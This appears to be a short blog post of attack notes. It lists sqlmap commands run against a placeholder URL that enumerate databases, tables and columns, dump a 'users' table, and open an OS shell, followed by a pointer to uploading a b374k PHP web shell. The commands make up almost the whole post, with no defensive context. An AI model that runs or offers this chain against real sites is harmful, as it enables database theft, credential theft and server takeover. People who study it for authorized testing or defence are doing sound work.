Burp Suite and sqlmap

1. Burpsuite -> Intruder
 http://www.site.com/section.php?id=51

2. sqlmap
python sqlmap.py -u “http://www.site.com/section.php?id=51”

# Discover databases
python sqlmap.py -u “http://www.sitemap.com/section.php?id=51” –dbs

# Find tables in a particular database
python sqlmap.py -u “http://www.site.com/section.php?id=51” –tables -D database_name

# Get columns of the table
python sqlmap.py -u “http://www.site.com/section.php?id=51” –columns -D database_name -T users

# Get data from the columns
python sqlmap.py -u “http://www.site.com/section.php?id=51” –dump -D database_name -T users

# Upload os-shell
python sqlmap.py -u “http://www.site.com/section.php?id=51” –os-shell

# Upload a PHP shell
-> b374kshell.php

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s